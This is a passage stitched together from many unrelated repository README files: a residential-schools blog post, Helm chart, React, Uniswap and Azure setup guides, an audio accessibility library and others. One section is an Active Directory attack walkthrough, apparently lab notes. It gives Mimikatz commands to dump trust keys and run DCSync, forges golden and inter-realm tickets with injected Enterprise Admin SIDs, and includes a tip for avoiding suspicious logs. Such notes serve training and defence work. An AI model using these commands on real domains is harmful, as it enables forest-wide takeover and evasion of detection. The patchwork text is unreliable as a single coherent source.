arguments.

There is also a GUI made with Tkinter, which can be run with `./gui.py`.

repository: xorond/surelock

gha_language: Python

repo_name: xorond/surelock


text:
---
layout: post
title: Truth and Reconciliation and Sustainability
---

UN Sustainable Development Goals

![_config.yml]({{ site.baseurl }}/images/UNdev.PNG)

UN Sustainable Development Goals

-Quality Education

The schools had poor education curriculum and unorganized goals. There were no specific education goals that the schools tried to meet and the curriculum was "confused". This shows a low regard for aboriginal students quality of education.
Heavy tasks made schoolwork unsustainable. The students were often tasked with doing difficult chores that required manual labor, rendering the students too tired for any further studying.
This form of schooling is clearly unsustainable since after a few weeks of this, there will be
almost no possibility of retention of whatever little the students are taught.

![_config.yml]({{ site.baseurl }}/images/indianhorse.jpg)

Their lack of supervision led to sexual and physical abuse. I had the opportunity to watch the movie "Indian Horse" a few weeks ago and that shows the journey of a boy through a residential school. A lot of what we've spoken about here could be seen in the movie (which is a true story.)
In the movie, the main character is sexually assaulted(repeatedly) as a child by one of the priests that run the schools. There is no need for me to describe why this is unacceptable.

-Reduce Inequality

Residential schools revolved around the idea that British practices were more modern and
aboriginal ones were "savage" and uncivilized. This belief of superiority over them was unjustified. However, Canada has and continues to improve.

![_config.yml]({{ site.baseurl }}/images/residential-school1.jpg)

-Sustainable cities and communities

Incorporating aboriginal communities in federal decision making
Allowing them to speak up for what had been done to them


text:
# LIDARIO
A simple LIDAR client for the RoboRIO and Java WPILib

## Installation
This code is completely open source.  You are free to copy, share, and modify it however you would like (more info in LICENSE)

To install, simply download the Java source file and place it somewhere in your project.  No need to add a jar as a dependency!

license: Unlicense


text:
# Heapster

[Heapster](https://github.com/kubernetes/heapster) enables Container Cluster Monitoring and Performance Analysis. It collects and interprets various signals like compute resource usage, lifecycle events, etc, and exports cluster metrics via REST endpoints.
The Chart can also enable eventer, which can send the kubernetes event logs to a remote location.

## QuickStart

```bash
$ helm install <helm-repo>/heapster
```

$ helm install stable/heapster
## Installing the Chart

To install the chart with the release name `my-release`:

```bash
$ helm install --name my-release <helm-repo>/heapster
```

$ helm install --name my-release stable/heapster
## Uninstalling the Chart

To uninstall/delete the `my-release` deployment:

```bash
$ helm delete my-release --purge
```

The command removes all the Kubernetes components associated with the chart and deletes the release.

## Configuration

The default configuration values for this chart are listed in `values.yaml`.

| Parameter                             | Description                                                  | Default                                           |
|---------------------------------------|-------------------------------------                         |---------------------------------------------------|
| `image.repository`                    | Repository for container image                               | k8s.gcr.io/heapster                               |
| `image.tag`                           | Container image tag                                          | v1.5.2                                            |
| `image.pullPolicy`                    | Image pull policy                                            | IfNotPresent                                      |
| `service.name`                        | Service port name                                            | api                                               |
| `service.type`                        | Type for the service                                         | ClusterIP                                         |
| `service.externalPort`                | Service external port                                        | 8082                                              |
| `service.internalPort`                | Service internal port                                        | 8082                                              |
| `service.annotations`                 | Service annotations, specified as a map                      | `{}`                                              |
| `resources.limits`                    | Server resource  limits                                      | limits: {cpu: 100m, memory: 128Mi}                |
| `resources.requests`                  | Server resource requests                                     | requests: {cpu: 100m, memory: 128Mi}              |
| `command`                             | Commands for heapster pod                                    | "/heapster --source=kubernetes.summary_api:''     |
| `rbac.create`                         | Bind system:heapster role                                    | true                                             |
| `rbac.serviceAccountName`             | existing ServiceAccount to use (ignored if rbac.create=true) | default                                           |
| `resizer.enabled`                     | If enabled, scale resources                                  | true                                              |
| `eventer.enabled`                     | If enabled, start eventer                                    | false                                             |
| `podAnnotations`                      | Pod Annotations to be added to the heapster Pod              | `{}`                                              |
| `nodeSelector`                        | Node labels for pod assignment                               | `{}`                                              |
| `tolerations`                         | Tolerations for pod assignment                               | `[]`                                              |
| `affinity`                            | Affinity for pod assignment                                  | `{}`                                              |

The table below is only applicable if `resizer.enabled` is `true`. More information on resizer can be found [here](https://github.com/kubernetes/contrib/blob/master/addon-resizer/README.md).

| Parameter                             | Description                         | Default                                           |
|---------------------------------------|-------------------------------------|---------------------------------------------------|
| `resizer.image.repository`            | Repository for container image      | k8s.gcr.io/addon-resizer            |
| `resizer.image.tag`                   | Container image tag                 | 1.7                                               |
| `resizer.image.pullPolicy`            | Image pull policy                   | IfNotPresent                                      |
| `resizer.resources.limits`            | Server resource  limits             | limits: {cpu: 50m, memory: 90Mi}                |
| `resizer.resources.requests`          | Server resource requests            | requests: {cpu: 50m, memory: 90Mi}                |
| `resizer.flags`                       | Flags for pod nanny command         | Defaults set in values.yaml                       |

The table below is only applicable if `eventer.enabled` is `true`. More information on eventer can be found
[here]https://github.com/kubernetes/heapster/blob/master/docs/overview.md

| Parameter                             | Description                              | Default                                           |
|---------------------------------------|------------------------------------------|---------------------------------------------------|
| `eventer.flags`                       | Flags for eventer command                | Defaults set in values.yaml                       |
| `eventer.resources.limits`            | Server resource  limits                  | requests: {}                                      |
| `eventer.resources.requests`          | Server resource requests                 | requests: {}                                      |
| `eventer.resizer.enabled`             | If enabled, scale resources              | true                                              |
| `eventer.resizer.flags`               | Flags for pod nanny command for eventer  | Defaults set in values.yaml                       |
| `eventer.resizer.resources.limits`    | Server resource limits                   | requests: {}                                      |
| `eventer.resizer.resources.requests`  | Server resource requests                 | requests: {}                                      |

repository: cloudnativeapp/charts

gha_language: Mustache

repo_name: cloudnativeapp/charts


text:
---
title: Programmes
permalink: /exhibitions/past-exhibitions/scriptandstage/programmes/
breadcrumb: Programmes
third_nav_title: 'Script & Stage: Theatre in Singapore from the 50s to 80s'

---

Past programmes

All events are over.

        Various dates

            —

            7:00pm

Tour | Curator's Tour

The event is over.

        18 Nov

            —

            7:00pm

Talk | [NL Arts Conversation] The Anatomy of a Great SG Musical

The event is over.

        1 Dec

            —

            7:00pm

Talk | Singapore English Language Theatre: A Glance

The event is over.

        14 Jan

            —

            10:00am

Talk | [NL Arts Conversation] Malay Theatre Developments: From the 1950s to Present

The event is over.

        4 Feb

            —

            2:00pm

Talk | [NL Arts Conversation] Social Plays in Singapore Tamil Theatre

The event is over.

        18 Mar

            —

            2:00pm

Talk | [NL Arts Conversation] Kuo Pao Kun: The Educator

The event is over.

repository: isomerpages/nlb-exhibitions

branch_name: refs/heads/staging

gha_language: SCSS

gha_license_id: NOASSERTION

repo_name: isomerpages/nlb-exhibitions


text:
# React Refresh Plugin

An **EXPERIMENTAL** Webpack plugin to enable "Fast Refresh" (also known as _Hot Reloading_) for React components.

## Installation

First - this plugin is not ready and is currently not compliant to the "Fast Refresh" branding.
Please **DO NOT** us it in any important apps.

But, if you are adventurous, the steps for installation are as follows:

1. Install the plugin

   ```sh
   # if you prefer npm
   npm install -D https://github.com/pmmmwh/react-refresh-webpack-plugin

   # if you prefer yarn
   yarn add -D https://github.com/pmmmwh/react-refresh-webpack-plugin
   ```

2. Install the peer dependencies of this plugin

   ```sh
   # exclude babel-loader if you already installed it
   # if you prefer npm
   npm install -D react-refresh babel-loader

   # if you prefer yarn
   yarn add -D react-refresh babel-loader
   ```

## Usage

In your webpack configuration, alter as follows:

```diff
+ const ReactRefreshPlugin = require('react-refresh-webpack-plugin');
// ... your other imports

module.exports = {
  // ... other configurations
  module: {
    rules: [
      // ... other rules
      {
        // for TypeScript, change the following to "tsx?"
        test: /\.jsx?$/,
        exclude: /node_modules/,
        use: [
          // ... other loaders
          {
            loader: require.resolve('babel-loader'),
            options: {
              // ... other options
              // DON'T apply the plugin in production mode!
+             plugins: [require.resolve('react-refresh/babel')],
            },
          },
        ],
      },
    ],
  },
  plugins: [
    // ... other plugins
+   new ReactRefreshPlugin(),
  ],
};
```

## References

- [Implementation by @maisano](https://gist.github.com/maisano/441a4bc6b2954205803d68deac04a716)


text:
# `zypo-cli`

## Other Documentation

Links to rest of the Zypo (`zypo-rs`) compiler:

- [General compiler docs](https://github.com/scOwez/zypo-rs)
- [`zypo-lib` - Compiler library documentation](https://docs.rs/zypo-lib)

## About

`zypo-cli` is the primary CLI for the Zypo compiler and is what users are most commonly using to compile Zypo code.

repository: Owez/zypo-rs

repo_name: Owez/zypo-rs


text:
# QuickCoder
Fast object coding & decoding

## How to

// To Be Done

## Acknowledgements
This project is based on the codebase of [Joan Lluch](https://github.com/John-Lluch) from the [HMIPad app](https://github.com/John-Lluch/HMIPad) project, where I ([Joan Martin](https://github.com/vilanovi)) used to work at before joining Mobile Jazz. This librarary was exquisite and now that the original code has been OpenSourced, I couldn't resist to take it, clean it and publish it.

repository: carabina/QuickCoder

repo_name: carabina/QuickCoder


text:
# GHUt

Collection of github utilities.

Run each utility with `-h` flag to see the help.

Requirements:
* git
* curl
* jq

## Testing

Requirements:
* [cram](https://bitheap.org/cram)
* git

repository: hrubi/ghut

repo_name: hrubi/ghut


text:
# Revision history for halive

## <IP_ADDRESS>  -- TBD
* Windows support!
* Add the demo as a test-suite to manage its dependencies
* Prioritize stack's "local-pkg-db:" over "snapshot-pkg-db:" to allow overriding packages just as stack does
* Now runs a typechecker thread in the background, and only restarts your program once all type errors are fixed.

## <IP_ADDRESS>  -- 2015-08-12
* Implement support for stack projects

## <IP_ADDRESS>  -- 2015-08-07
* Remove system-filepath

## <IP_ADDRESS>  -- 2015-06-29
* 7.8 compatibility fix

## <IP_ADDRESS>  -- 2015-06-23
* Add Halive.Concurrent to help with killing threads when restarting a program

## <IP_ADDRESS>/<IP_ADDRESS>  -- 2015-06-20
* Add command line argument support (Jonathan Geddes)
* Fix compilation on Windows, although Halive doesn't actually work yet

## <IP_ADDRESS>  -- 2015-05-26
* Compilation fix

## <IP_ADDRESS>  -- 2015-05-26

* First version.

repository: grubern/halive

repo_name: grubern/halive


text:
# Uniswap-JS-Interface
This is a simple JS clone /fork of uniswap which is the most popular DEX on the Ethereum blackchin

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

This an an open source interface for Uniswap - a protocol for decentralized exchange of Ethereum tokens.

- Website: [uniswap.io](https://uniswap.io/)
- Docs: [docs.uniswap.io](https://docs.uniswap.io/)
- Twitter: [@UniswapExchange](https://twitter.com/UniswapExchange)
- Reddit: [/r/Uniswap](https://www.reddit.com/r/UniSwap/)
- Email: [contact<EMAIL_ADDRESS>- Discord: [Uniswap](https://discord.gg/Y7TF6QA)
- Whitepaper: [Link](https://hackmd.io/C-DvwDSfSxuh-Gd4WKE_ig)

## Run Uniswap Locally

1. Download and unzip the `build.zip` file from the latest release in the [Releases tab](https://github.com/Uniswap/uniswap-frontend/releases/latest).

2. Serve the `build/` folder locally, and access the application via a browser.

For more information on running a local server see [https://developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server). This simple approach has one downside: refreshing the page will give a `404` because of how React handles client-side routing. To fix this issue, consider running `serve -s` courtesy of the [serve](https://github.com/zeit/serve) package.

## Develop Uniswap Locally

### Install Dependencies

```bash
npm install
```

### Configure Environment

Rename `.env.local.example` to `.env.local` and fill in the appropriate variables.

### Run

```bash
npm run start
```

To run on a testnet, make a copy of `.env.local.example` named `.env.local`, change `REACT_APP_NETWORK_ID` to `"{yourNetworkId}"`, and change `REACT_APP_NETWORK_URL` to e.g. `"https://{yourNetwork}.infura.io/v3/{yourKey}"`.

If deploying with Github Pages, be aware that there's some [tricky client-side routing behavior with `create-react-app`](https://create-react-app.dev/docs/deployment#notes-on-client-side-routing).

## Contributions

**Please open all pull requests against the `beta` branch.** CI checks will run against all PRs. To ensure that your changes will pass, run `yarn check:all` before pushing. If this command fails, you can try to automatically fix problems with `yarn fix:all`, or do it manually.

repository: PavanAnanthSharma/Uniswap-JS-Interface

repo_name: PavanAnanthSharma/Uniswap-JS-Interface


text:
### Getting Started

```
> git clone git@github.com:illeandrei/form-router-react-app.git
> cd form-router-react-app
> npm install
> npm start
```

#### BrowserRouter
- the router parent component. It houses all the other subcomponents
of the router.

#### Route
- A component that makes sure to render a specific component based on the url
- It takes to params, the 'path' and the 'component' to render.

#### Switch
- if no 'Switch' is used, then the router interprets the URL in a very loose/fuzzy
way, the '/posts' could be the same as '/posts/new'.
- The keynote here is to nest all the routes inside a 'Switch' component
and order them by specificity (most specific top), i.e. '/posts/new', '/posts',
'/'

#### life cycle methods
[docs](https://reactjs.org/docs/react-component.html)
- Each component has several “lifecycle methods” that you can override
to run code at particular times in the process. Methods prefixed with 'will'
are called right before something happens, and methods prefixed with 'did'
are called right after something happens.
- componentDidMount - is called by React right after the component has rendered

#### navigation with react router
- traditional websites use the <a> tag to navigate
from one page to another. Not the case for react apps, that use react-router.
All the html has loaded, so there is no need to make another request
to fetch another html document from the server, just display a new set
of react components instead.
- in practice, to do navigation, just use a component provided by
react-router itself.

#### Link
- basically an <a> tag, something that the user clicks to navigate inside
a react-router application.
- the difference from an <a> tag, is that Link prevents a couple of
events that <a> has by default.

#### Redux form
[docs](https://redux-form.com/7.3.0/)
- is saving us from manually wiring up a bunch of action creators

repository: illeandrei/form-router-react-app

repo_name: illeandrei/form-router-react-app


text:
# Cross Domain Attacks - Forest Root - Trust Key & krbtgt

- [Cross Domain Attacks - Forest Root - Trust Key & krbtgt](#cross-domain-attacks---forest-root---trust-key--krbtgt)
  - [Cross Domain Attacks - Forest Root](#cross-domain-attacks---forest-root)
  - [Trust Key](#trust-key)
  - [krbtgt](#krbtgt)

---

## Cross Domain Attacks - Forest Root

Domains in same forest have an **implicit two-way trust with other domains**. There is a **trust key** between the parent and child domains.

**SIDHistory** can be abused in two ways of escalating privileges within a forest:

- `krbtgt` hash of the child
- Trust tickets

All the Privilege Escalation to `techcorp.local` we have seen till now needs some misconfiguration. These ones are 'working as intended'.

**Child to Forest Root Trust Flow**

![picture 21](images/8e051d7db9622cdd28b0a3b8c0766b6a17867390838869fae394d08d5ff6dbaf.png)

**Child to Forest Root Trust Flow Abuse**

![picture 22](images/e6557382e4163ff8f26ad9fb0ee9d8be4be22ae956d02a06d24295477a4f5dbb.png)

## Trust Key

So, what is required to forge trust tickets is, obviously, the trust key. Look for **trust key** from child to parent.

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName us-dc
```

or

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\techcorp$"'
```

or

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

We can also use any of the earlier discussed tools to extract trust keys.

Forge an inter-realm TGT:

```
Invoke-Mimikatz -Command '"kerberos::golden /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:b59ef5860ce0aa12429f4f61c8e51979 /user:Administrator /service:krbtgt /target:techcorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi"'
```

| Mimikatz Parameters | |
|----|----|
|`kerberos::golden` | The mimikatz module |
|`/domain:us.techcorp.local` | FQDN of the current domain |
|`/sid:S-1-5-21-210670787-2521448726-163245708` | SID of the current domain (Can be obtained using `whoami /all`) |
|`/sids:S-1-5-21-2781415573-3701854478-2406986946-519` | SID of the Enterprise Domain Admins group (Enterprise Admins Group is always `519`; Domain SID can be obtained using `Get-DomainSID -Domain techcorp.local` of PowerView) |
|`/rc4:b59ef5860ce0aa12429f4f61c8e51979` | RC4 of the trust key |
|`/user:Administrator` | User to impersonate |
|`/service:krbtgt` | Target service in the parent domain |
|`/target:techcorp.local` | FQDN of the parent domain |
|`/ticket:C:\AD\Tools\kekeo\trust_tkt.kirbi` | Path where ticket to be saved |

Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket with Kekeo (https://github.com/gentilkiwi/kekeo/):

```
tgs::ask /tgt:C:\AD\Tools\trust_tkt.kirbi /service:CIFS/techcorp-dc.techcorp.local
```

or using older version of `Kekeo`:

```
.\asktgs.exe C:\AD\Tools\trust_tkt.kirbi CIFS/techcorp-dc.techcorp.local
```

Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well.

Use the TGS to access the targeted service (may need to use it twice).

```
misc::convert lsa<EMAIL_ADDRESS><EMAIL_ADDRESS>```

or

```
.\kirbikator.exe lsa .\CIFS.techcorpdc.techcorp.local.kirbi
```

Then try to list the forest DC:

```
ls \\techcorp-dc.techcorp.local\c$
```

Alternatively, we can use `Rubeus.exe`:

```
.\Rubeus.exe asktgs /ticket:C:\AD\Tools\trust_tkt.kirbi /service:cifs/techcorp-dc.techcorp.local /dc:techcorpdc.techcorp.local /ptt
```

```
ls \\techcorp-dc.techcorp.local\c$
```

---

## krbtgt

We will abuse SID history once again:

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /krbtgt:b0975ae49f441adc6b024ad238935af5 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /ptt"'
```

- In the above command, the mimkatz option `/sids` is forcefully setting the SID History for the Enterprise Admin group for `us.techcorp.local` that is the Forest Enterprise Admin Group.

We can now access techcorp-dc as Administrator:

```
ls \\techcorp-dc.techcorp.local\C$
```

```
Enter-PSSession techcorp-dc.techcorp.local
```

To avoid suspicious logs, we can make use of the **Domain Controllers group**:

```
Invoke-Mimikatz -Command '"kerberos::golden /user:us-dc$ /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /groups:516 /krbtgt:b0975ae49f441adc6b024ad238935af5 /sids:S-1-5-21-2781415573-3701854478-2406986946-516,S-1-5-9 /ptt"'
```

- Domain Controllers: `S-1-5-21-2781415573-3701854478-2406986946-516`
- Enterprise Domain Controller: `S-1-5-9`

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:techcorp\administrator /domain:techcorp.local"'
```


text:
# Deployment

 Until an automatic deployment is created here is the steps to deploy the TinyBlazorAdmin app into Azure. You can run it somewhere else and even locally.

## Create the Backend

This project is a frontend only so you will need to deploy the [Azure Url Shortener](https://github.com/FBoucher/AzUrlShortener) in "headless mode". Do to it click the blue button below and make sure to select **none** as Frontend

[![Deploy Backend to Azure](https://aka.ms/deploytoazurebutton)](https://portal.azure.com/?WT.mc_id=urlshortener-github-frbouche#create/Microsoft.Template/uri/https%3A%2F%2Fraw.githubusercontent.com%2FFBoucher%2FAzUrlShortener%2Fmaster%2Fdeployment%2FazureDeploy.json)

![CreateBackend][CreateBackend]

## Create Azure Active Directory (AAD) Components

### Create App for the Fontend

We need a Service Principal that we will use to authenticate our user to Azure Active Directory (AAD). To accheive this we will create a application registration in Azure.

From the Azure Portal (portal.azure.com), open the **Azure Active Directory** page. From the left option menu select **App registrations**, then create a new registration. Use a name that will helps you to remember that it's for the TinyBlazorAdmin website (ex:
TinyAdminApp)

**Note the ClientID and TenantID.**

If you need to retreive the ClientID and TenantID, they will be diplay at the top of the page once you select an app in the portal.

![Create a new registration][newRegistration]

### Create App for the Azure Function

We need a second App registration, this time to let the Azure Function validate that user information contain into the token is valid.

![First steps to create the AD App registration][azFunction_Auth_step1]

From the Azure Portal, go to your Azure Function. From the left panel select the *Authentication / Authorization* (1) option. Enable the *App Service Authentication* (2) and click on *Azure Active Directory*.

![Configuring the App registration][azFunction_Auth_step2]

1. Select Express.
2. Make sure *Create New AD App* is selected.
3. Give the AD App a name.
4. Click Ok.
5. DON"T FORGET TO CLICK THE SAVE BUTTON

Now, we need to configure the brand new Ad App registration. Still from the Azure portal open the *Active Directory* blade. Select the *App registration* option from the left menu. Then select the application you just created.

![ConfigAzFuncADapp][ConfigAzFuncADapp]

1. From the left panel click the *Expose an API* option.
2. Click the *Add a client application*.
3. Enter the ClientID of the Frontend App (the first one created).
4. Check the Impersonation checkbox.
5. Save by clicking *Add application*.

## Deploy TinyBlazorAdmin

(more details to come but here are the steps)

- create a storage account
- set it to static website
- Copy artifact from /deployment folder.

## Configure Backend and Frontend to Work Together

And update those values inside `TinyBlazorAdmin\wwwroot\appsettings.json`

```json
{
  "AzureAd": {
    "Authority": "https://login.microsoftonline.com/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxxx",
    "ClientId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxxx",
    "ValidateAuthority": true
  }
}
```

[CreateBackend]: medias/CreateBackend.png
[newRegistration]: medias/newRegistration.png
[AddPolicy]: medias/AddPolicy.png
[EditKeyVault]: medias/EditKeyVault.png
[CreateSecrets]: medias/CreateSecrets.png
[azFunction_Auth_step1]: medias/azFunction_Auth_step1.png
[azFunction_Auth_step2]: medias/azFunction_Auth_step2.png
[ConfigAzFuncADapp]: medias/ConfigAzFuncADapp.png

repository: optolexia/LexploreUrlShortenerAdmin

repo_name: optolexia/LexploreUrlShortenerAdmin


text:
# \_2DNote: 2D Note Generator <!-- [![npm version](https://img.shields.io/npm/v/2dnote.svg?style=flat-square)](https://www.npmjs.com/package/2dnote) --> [![GitHub package version](https://img.shields.io/github/package-json/v/hchiam/_2DNote?style=flat-square)](https://github.com/hchiam/_2DNote/packages/320003) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat-square)](https://opensource.org/licenses/MIT)

[Live Demo](https://github.com/hchiam/_2DNote#live-demo)

[Include in HTML](https://github.com/hchiam/_2DNote#can-i-include-it-in-my-own-html-code)

[API](https://github.com/hchiam/_2DNote#api)

**Purpose:** An experiment in making visual interfaces more accessible to people who are blind. Screen readers linearize your page content, so they don't communicate 2-dimensional visuals very well. You can address that by mapping 2D positions to notes.

**Potential Uses:** Create 2D games and apps that people can use together, regardless of vision capabilities? Hear the contours of your signature as you write it? Enable people to "hear" what someone else is drawing? Locate elements on a page? Convert graphs into sound? Etc.

**Some Design Choices:** \_2DNote does not rely on binaural audio, so devices with only 1 speaker can still communicate the 2D position of one or more elements simultaneously. It does that by relying on volume and pitch. Brain plasticity will take care of the rest.

You can think of the y dimension as the "proximity dimension" (louder = closer to you), and the x dimension as the "piano dimension" (left-to-right = low-to-high notes).

\_2DNote.js is made from pure "vanilla" JavaScript. So no special install steps required. :smile:

To keep things as flexible as possible, you'll need to handle keyboard-only interaction. That said, you might be interested in [hchiam/draggable](https://github.com/hchiam/draggable), which focuses on letting you moving elements around with mouse, touch, keyboard, or screen reader!

### Further reading

- [Sonification](https://en.wikipedia.org/wiki/Sonification)
- [Auditory display](https://en.wikipedia.org/wiki/Auditory_display)

## [Live Demo (requires mouse or touch)](https://codepen.io/hchiam/full/eYYdVeX)

<https://codepen.io/hchiam/full/eYYdVeX>

(You can live edit the demo code in real time here: <https://codepen.io/hchiam/pen/eYYdVeX>)

## Can I include it in my own HTML code?

**_Yes:_**

```html
<script
<EMAIL_ADDRESS>  integrity="sha384-e0d2dNwg3F9WTJ3jZBF5iUeuVyAtx+zwMnCAvKMiCHtwO2l2dzo3cIMO4+Xqwn5p"
  crossorigin="anonymous"
></script>
```

While not recommended, you can auto-update to the latest by linking the `src` to:

-<EMAIL_ADDRESS>or
-<EMAIL_ADDRESS>
By including `_2DNote.js`, you get an object `_2DNote`, which you can use in your HTML or JS code.

For example:

```html
<div onmousemove="_2DNote.update(event,colourSoundIcon);">...</div>
```

For quick setup on the `body` tag:

```html
<body>
  <script
<EMAIL_ADDRESS>    integrity="sha384-e0d2dNwg3F9WTJ3jZBF5iUeuVyAtx+zwMnCAvKMiCHtwO2l2dzo3cIMO4+Xqwn5p"
    crossorigin="anonymous"
  ></script>
  <script>
    _2DNote.setAs2DArea(document.body, callbackUponUpdate);
    function callbackUponUpdate() {
      // do something whenever _2DNote.update() is triggered;
    }
  </script>
</body>
```

For quick setup of a custom 2D click/touch area:

```html
<body>
  <div id="2d-area" style="width: 100vw; height: 100vh;">...</div>
  ...
  <script
<EMAIL_ADDRESS>    integrity="sha384-e0d2dNwg3F9WTJ3jZBF5iUeuVyAtx+zwMnCAvKMiCHtwO2l2dzo3cIMO4+Xqwn5p"
    crossorigin="anonymous"
  ></script>
  <script>
    _2DNote.setAs2DArea(document.getElementById("2d-area"), callbackUponUpdate);
    function callbackUponUpdate() {
      // do something whenever _2DNote.update() is triggered;
    }
  </script>
</body>
```

To disable the "exit" sound:

```js
var useExitDetection = false;

_2DNote.setAs2DArea(
  document.querySelector("#your_element"),
  callbackUponUpdate,
  useExitDetection
);
```

For a full working code example, see [`example-include.html`](https://github.com/hchiam/_2DNote/blob/master/example-include.html)

Here's an example of 2 notes playing simultaneously: [`example-two-notes.html`](https://github.com/hchiam/_2DNote/blob/master/example-two-notes.html)

## API

The things you're most likely to use are: [`.play(e)`](https://github.com/hchiam/_2DNote#_2dnoteplaye), [`.update(e)`](https://github.com/hchiam/_2DNote#_2dnoteupdatee-or-_2dnoteupdatee-callback), [`.stop()`](https://github.com/hchiam/_2DNote#_2dnotestop), and [`.copy()`](https://github.com/hchiam/_2DNote#_2dnotecopy).

(Full details in [`_2DNote.js`](https://github.com/hchiam/_2DNote/blob/master/_2DNote.js).)

### `_2DNote.audioContext`:

- This is the [AudioContext](https://developer.mozilla.org/en-US/docs/Web/API/AudioContext) used by the `_2DNote` instance to do the work of actually creating the note.

### `_2DNote.note`:

- This holds the information about the note (oscillator, volumeSetup) that the `_2DNote` instance can play.

### `_2DNote.play(e, setupExitDetection = true)`:

- This plays a note based on the position of the element or mouse click event, which it figures out for you. (`e` is for event **_or_** element.)
- `setupExitDetection` is an optional parameter, and is `true` by default. You most likely will want to do either `_2DNote.play(e)` or `_2DNote.play(e, false)`. This parameter tells `_2DNote` whether it should play an "exit" sound when you leave the 2D area.
- **Note:** The note automatically stops playing if the cursor moves outside the _window_. This avoids having users click something outside the window without realizing it.
- **UX reminder:** If you plan to use `_2DNote` in only one area of the page, you should let users know when the cursor moves outside of that area. To do that, try something like `<tag-name onmouseleave="_2DNote.stop();">` on the enclosing HTML element tag. See [`example-include.html`](https://github.com/hchiam/_2DNote/blob/master/example-include.html) or [`example-two-notes.html`](https://github.com/hchiam/_2DNote/blob/master/example-two-notes.html) for examples placed on the `body` tag. If you'd like to disable the `warnExitedView` when the mouse leaves the `body`, then you can run `document.body.removeEventListener("mouseleave",_2DNote.warnExitedView);`

### `_2DNote.update(e)` or `_2DNote.update(e, callback)`:

- This causes the note that the `_2DNote` instance is playing to update to the current position of the element or mouse click event, which it figures out for you. (`e` is for event **_or_** element.)
- `callback` is an optional parameter, and is a function that will be run from within `update()` with this signature: `callback(volume, frequency, pan)`. See full details in [`_2DNote.js`](https://github.com/hchiam/_2DNote/blob/master/_2DNote.js). See usage example in [`example-include.html`](https://github.com/hchiam/_2DNote/blob/master/example-include.html) or [`example-two-notes.html`](https://github.com/hchiam/_2DNote/blob/master/example-two-notes.html).

### `_2DNote.stop()`:

- This stops the note that the `_2DNote` instance is currently playing.

### `_2DNote.copy()`:

- This returns a deep clone of the `_2DNote` instance. Extra instances make it more convenient to play multiple notes at the same time.

### `_2DNote.getFrequency(e)`:

- This returns the note frequency based on the x coordinate of the element **_or_** mouse click event, which it figures out for you. (`e` is for event **_or_** element.)

### `_2DNote.getVolume(e)`:

- This returns the note volume based on the y coordinate of the element **_or_** mouse click event, which it figures out for you. (`e` is for event **_or_** element.)

### `_2DNote.getPan(e)`:

- This returns the note panning based on the x coordinate of the element **_or_** mouse click event, which it figures out for you. (`e` is for event **_or_** element.) Panning creates binaural audio: if you use headphones, it'll sound like the audio is coming from the left or right side of you.

### `_2DNote.normalize(value, inputRange, outputRange)`:

- This maps the value found within the input range (`[inputRangeMin, inputRangeMax]`) to be in the chosen output range (`[outputRangeMin, outputRangeMax]`). It returns the re-mapped value.

## Older version also available on NPM

(But I'd just stick to the GitHub package version.)

<https://www.npmjs.com/package/2dnote>

```bash
npm i 2dnote
```

See the notes in this example to publish to both GitHub packages page and npm packages page: <https://github.com/hchiam/generator-hchiam-learning/commit/f3bbdfa93ae7c27e8d32b04f587afc644048e486> (But I'd just stick to the GitHub package version.)

## If you're interested in general accessibility

<https://github.com/hchiam/web-accessibility-course-notes#web-accessibility-a11y-course-notes>

### Other accessibility-related repos

<https://github.com/hchiam/flying-focus>

<https://github.com/hchiam/keyboard-focus-trap>

<https://github.com/hchiam/draggable>

## Local development

```bash
bash package.sh
```

```bash
# do this first:
yarn publish # supply new version number in CLI

# do this second:
yarn package
```

gha_language: HTML


text:
# DumpGeo - Dump the ATLAS GeoModel to a local file

 * [Intro](#intro)
 * [Setup](#build)
 * [Run](#run)
 * [Documentation](#documentation)

## Intro

`DumpGeo` is an Athena algorithm inheriting from the class AthAlgorithm. Internally, it calls the package `GeoExporter` to dump
the ATLAS GeoModel into a local file.

*Note:* At the time of writing, the local file is a SQLite file).

Instructions are meant for a `lxplus`-like machine (CC7 or SLC6) where the Athena framework is installed.

## Setup

You should setup Athena, as usual; for example you can setup the latest nightly build:

```bash
setupATLAS
asetup Athena,master,latest,slc6
```

## Run

`dump-geo` can be used both as a shell command or as an Athena jobOption, in command-line or embedded within your own jobOption.

### Basic use - Run as a terminal command

At the prompt, run the command `dump-geo`:

```bash
dump-geo
```

this will dump the default geometry tag (`ATLAS-R2-2016-01-00-01`, at the time of writing)
into a local file named `geometry-TAG.db`, where `TAG` is replaced with the specific geometry tag being dumped .

Optionally, you can specify which geometry tag to be dumped by adding the `-detdescr` flag and a valid ATLAS Geometry tag; for example:

```bash
dump-geo -detdescr=ATLAS-R2-2016-01-00-01
```

After issueing the command, a file named `geometry-ATLAS-R2-2016-01-00-01.db` will be created in the run folder.

### Run it as an Athena jobOption

You can also run `dump-geo` as an Athena jobOption. For example:

```bash
athena DumpGeo/dump-geo.py -c "DetDescrVersion='ATLAS-R3-2021-01-00-00‘"
```

You can even embed it into your own workflow, within your own jobOption.

### Additional Options

You can use several flags to steer the dump mechanism. You can see the full list of options by using:

```bash
dump-geo -h
```

For example, you can exclude subsystems by using the `-noX` flags, for example:

```bash
dump-geo -nomuon -nocalo
```

will dump only the Inner Detector geometry into the output `geometry.db` file.

## Documentation

You can take a look at the full documentation for `dump-geo`:

- by running `dump-geo -h`
- by visiting the GeoModel documentation website: https://cern.ch/geomodel
